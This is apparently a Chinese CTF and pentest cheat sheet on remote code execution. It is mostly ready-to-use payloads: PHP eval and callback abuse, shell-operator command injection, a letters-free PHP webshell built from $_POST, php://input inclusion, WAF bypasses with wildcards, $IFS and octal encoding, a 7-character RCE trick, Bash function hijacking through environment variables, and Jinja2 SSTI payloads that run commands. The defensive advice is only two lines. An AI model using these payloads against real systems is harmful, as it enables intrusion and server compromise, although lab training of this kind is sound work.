NOTE
RCE 实战
整理 RCE 触发条件、命令执行风险、检测思路与防御方式。
准备工作
推荐靶场资源
【Hello-CTF】RCE-labs | CTF+
PHP 相关技术
PHP 代码执行函数
| 函数 | 说明 | 示例代码 | 注意说明 |
|---|---|---|---|
${} | 复杂变量解析,可配合动态执行功能 | eval('${flag}'); | |
eval() | 执行字符串作为 PHP 代码 | eval('echo $flag;'); | |
assert() | 测试表达式是否为真(PHP < 8) | assert(print_r($flag)); | PHP 8+ 移除 |
call_user_func() | 调用回调函数 | call_user_func('print_r', $flag); | |
create_function() | 创建匿名函数 | create_function('$a','echo$flag;')($a); | PHP 7.2+ 废弃,8.0 移除 |
array_map() | 对数组每个元素应用回调函数 | array_map(print_r($flag), $a); | |
call_user_func_array() | 用数组参数调用回调函数 | call_user_func_array(print_r, [$flag]); | |
preg_replace() | 正则搜索替换(依赖 /e 模式) | preg_replace('/(.*)/ei','strtolower... | PHP 7.3+ 移除 /e 模式 |
ob_start() | 输出缓冲控制 | ob_start(print_r($flag)); |
系统命令执行
system('ls '.$_GET['dir']); // 执行系统命令
Shell 运算符注入
当输入拼接在命令中时:
# 原始命令
system('ping '.$ip);
# 注入方式
ip=127.0.0.1; cat /flag # 分号分隔
ip=127.0.0.1 && cat /flag # 逻辑与
ip=127.0.0.1 || cat /flag # 逻辑或
ip=127.0.0.1 & cat /flag # 后台执行
动态函数调用
// 通过 GET 参数动态调用函数
isset($_GET['a']) && isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;
无字母数字 Payload 构造
// 构造 _POST 数组访问
$_=[].''[0]; // $_='A'
$__=$_++; // $__='A', $_='B'
$__.=$_; // $__='AB'
$_++;$_++;$_++; // $_='E'
$__.=$_++; // $__='ABE', $_='F'
$__.=$_; // $__='ABEF'
$__=_.$__; // $__='_ABEF' → '_POST'
$$__[__]($$__[_]); // $_POST['__']($_POST['_'])
伪协议注入
?file=php://input [POST DATA: <?php system('id');?>]
?file=php://filter/convert.base64-encode/resource=index.php
WAF 绕过技术
通配符绕过
/???/?a? /??a? # 等价于 /bin/cat /flag
分隔符绕过
cat$IFS/flag # 等价于 cat /flag
重定向绕过
// 原始限制
system($input.' > /dev/null');
// 绕过方式
; cat /flag; # 添加分号分隔命令
无字母命令执行
八进制编码
$'\154\163' # 等价于 "ls"
$'\154\163\40\55\154' # 等价于 "ls -l"
二进制构造
$\'\\$(($(1<<1)#10011010))\' # 解析为八进制字符
特殊符号替换
${#} # 替换 0(参数个数)
${##} # 替换 1(0 的长度)
${!#} # 替换 $0(当前脚本名)
数字构造(禁用 # 时)
$(()) # 0
$((~$(($((~$(())))... # 通过多个 -1 叠加构造 1-7
长度限制突破
通配符简化
cat /f* # 替代 cat /flag
7 字符 RCE
# 分步写入命令
>lo
> hel\
>echo\
ls -t>0 # 按时间排序生成指令文件
sh 0 # 执行生成的指令
极短字符 RCE
目前已知的极短字符 RCE 技术仍在研究中,常见的利用方式包括:
- 5 字符 RCE:通常依赖于环境变量或特殊符号构造。
- 4 字符 RCE:极端情况下通过符号叠加或预定义变量实现。
提示:这类技巧高度依赖于具体环境,实战中需灵活应变。
环境变量注入
文章中介绍了一种通过构造特殊环境变量名和值来实现任意指令执行的漏洞:
Bash 会将形如以下的环境变量当做函数解析:
BASH_FUNC_XXX%%=() { id; };
之后在 Bash 中调用 xxx,就会被当做函数解析,且这里的 xxx 可以替换成已有的函数(如 echo),以此来劫持正常函数。
注意:Bash 4.4 以前使用的环境变量形式为:
BASH_FUNC_XXX()=() { id; };
该漏洞在修复 ShellShock 之前的版本中不存在,因为这个漏洞本身就是为了修复 ShellShock 而产生的。
模板注入(SSTI)
服务器端模板注入(Server-Side Template Injection,SSTI)是一种利用模板引擎解析用户输入时执行任意代码的技术。常见于 Jinja2(Python)、Twig(PHP)、Smarty 等模板引擎。
基本示例(Jinja2)
# 漏洞代码示例
from jinja2 import Template
user_input = "{{ 7 * 7 }}" # 用户输入
template = Template("Hello, " + user_input)
output = template.render()
print(output) # 输出:Hello, 49
利用方式
- 读取文件:
{{ ''.__class__.__base__.__subclasses__()[0].__init__.__globals__['os'].popen('cat /flag').read() }} - 执行命令:
{{ config.__class__.__init__.__globals__['os'].system('id') }}
防御建议
- 避免直接拼接用户输入到模板中。
- 使用沙箱环境或白名单过滤用户输入。
总结
RCE(远程代码执行)是 Web 安全中高危漏洞之一,熟练掌握其利用与绕过技术对渗透测试和 CTF 竞赛至关重要。本文涵盖了从基础函数调用到高级绕过技巧的多种方法,建议结合实际靶场进行练习,加深理解。